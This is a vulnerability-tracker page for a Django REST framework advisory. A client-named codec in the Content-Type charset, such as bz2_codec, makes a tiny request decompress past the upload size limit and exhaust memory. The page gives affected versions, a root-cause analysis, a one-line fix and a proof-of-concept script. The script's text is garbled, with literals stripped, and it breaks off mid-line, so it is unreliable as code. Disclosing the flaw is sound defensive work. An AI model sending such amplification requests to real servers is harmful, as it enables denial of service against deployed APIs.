Live › vulnerability › CVE-2026-114136
Go to dashboardDjango REST framework's JSONParser passes the client-supplied Content-Type charset straight to codecs.getreader, so an unauthenticated request can name a byte-transform codec such as bz2_codec and have the body decompressed after Django's DATA_UPLOAD_MAX_MEMORY_SIZE check has run. A tiny request body can therefore force a worker to allocate tens of megabytes of memory, which is a denial-of-service risk.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| djangorestframework | pypi | >= 3.6.4, < 3.18.2 | 3.18.2 |
pip show djangorestframework (version below 3.18.2 is affected)
grep -rn "djangorestframework" requirements*.txt pyproject.toml poetry.lock uv.lock
Set DATA_UPLOAD_MAX_MEMORY_SIZE to confirm the limit exists; it does not protect against this issue.
3.18.2 or laterEach row is the first time that source carried this signal. The analyst’s rows are its own findings.
An unauthenticated attacker can defeat Django's DATA_UPLOAD_MAX_MEMORY_SIZE limit and force a
worker process to allocate arbitrary memory, by naming a compression codec in the Content-Type
charset parameter. A 108-byte request body produces a 50,331,648-character value inside the view, an
amplification factor of 466,033, and grows process peak RSS by about 97 MiB. No application
configuration is required beyond DRF's default parser set; the endpoint only has to accept a JSON
body.
JSONParser.parse decodes the request body with the charset the client supplied on the Content-Type
header:
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
decoded_stream = codecs.getreader(encoding)(stream)
parse_constant = json.strict_constant if self.strict else None
return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
raise ParseError('JSON parse error - %s' % str(exc))
Of the roughly 455 codec names codecs.lookup resolves on CPython 3.14, about 18 are byte transforms
instead of character sets: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec,
uu_codec and similar. codecs.getreader is the only entry point in the codecs module that does
not consult CodecInfo._is_text_encoding, so it accepts all of them. Sending
Content-Type: application/json; charset=bz2_codec wraps the request stream in a bz2 decompressor
before json.load reads it.
The ordering is what makes this exploitable. Django charges DATA_UPLOAD_MAX_MEMORY_SIZE against the
bytes that arrived on the wire: rest_framework/request.py hands JSONParser an
io.BytesIO(self.body), and HttpRequest.body is where _check_data_too_big() runs. Decompression
happens afterwards, inside the parser, where nothing is counting.
This is DRF's defect and not Django's. Django resolves the charset parameter and assigns
request.encoding, and codecs.lookup does resolve byte transforms, but every Django consumer of
request.encoding goes through the text-codec API and fails closed. Both bytes.decode('bz2_codec')
and str(raw, 'bz2_codec') raise
LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs.
DRF is the only caller that hands the request stream to codecs.getreader.
FormParser (parsers.py:84) and MultiPartParser (parsers.py:104-118) take the same client-named
encoding but fail closed instead of amplifying.
The sink was introduced by 9a228116 (PR #5147, 2017-05-24, "Improve memory footprint when reading
large JSON requests"), first released in 3.6.4. The final comment on that PR observes the intended
memory gain does not hold because read() decodes the whole stream, which is the same property that
makes this expansion unbounded. No _is_text_encoding check has been added since.
A one-line fix at parsers.py:61-64:
if not codecs.lookup(encoding)._is_text_encoding:
raise ParseError('Unsupported charset in Content-Type')
Save as poc_charset_amplification.py and run it. It builds its own payloads, runs each arm in a
fresh subprocess (peak RSS is a high-water mark, so measuring several arms in one process reports
near-zero growth for every arm after the first), and prints a verdict.
#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.
Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.
T ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
C1 48 MiB plaintext, Content-Type: application/json (no charset)
C2 the byte-identical T body, charset=utf-8
C3 zlib body, charset=zlib_codec
The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.
Requires: django, djangorestframework importable. No arguments, nothing to edit.
python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile
PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536
ARMS = {
"T": ("bz2.bin", "application/json; charset=bz2_codec"),
"C1": ("plain.bin", "application/json"),
"C2": ("bz2.bin", "application/json; charset=utf-8"),
"C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
"T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
"C1": "rejected with RequestDataTooBig, view body never runs",
"C2": "HTTP 400 ParseError on the byte-identical compressed body",
: ,
}
VIEW_RAN = []
():
bz2
zlib
os.makedirs(PAYLOAD_DIR, exist_ok=)
plain = + * PAYLOAD_CHARS +
blobs = {
: plain,
: bz2.compress(plain, ),
: zlib.compress(plain, ),
}
name, blob blobs.items():
(os.path.join(PAYLOAD_DIR, name), ) fh:
fh.write(blob)
{name: (blob) name, blob blobs.items()}
():
django.conf settings
settings.configure(
DEBUG=,
ALLOWED_HOSTS=[],
SECRET_KEY=,
ROOT_URLCONF=__name__,
MIDDLEWARE=[],
INSTALLED_APPS=[
,
,
,
],
DATABASES={
: {: , : }
},
DEFAULT_CHARSET=,
DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
LOGGING_CONFIG=,
USE_TZ=,
)
django
django.setup()
():
rest_framework.response Response
rest_framework.views APIView
():
authentication_classes = []
permission_classes = []
():
data = request.data
VIEW_RAN.append()
value = data.get() (data, )
Response(
{: (value) (value, ) }
)
Echo
():
name == :
django.urls path
value = [path(, build_view().as_view())]
()[] = value
value
AttributeError(name)
():
:
() fh:
line fh:
line.startswith():
(line.split()[].strip().split()[])
OSError:
resource
resource.getrusage(resource.RUSAGE_SELF).ru_maxrss
():
payload_name, content_type = ARMS[arm]
(os.path.join(PAYLOAD_DIR, payload_name), ) fh:
body = fh.read()
configure_django()
django.test Client, RequestFactory
client = Client(raise_request_exception=)
client.generic(, , data=, content_type=)
VIEW_RAN.clear()
before = peak_rss_kib()
response = client.generic(, , d
This page as .md · .json · in your agent: get_signal("CVE-2026-114136")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.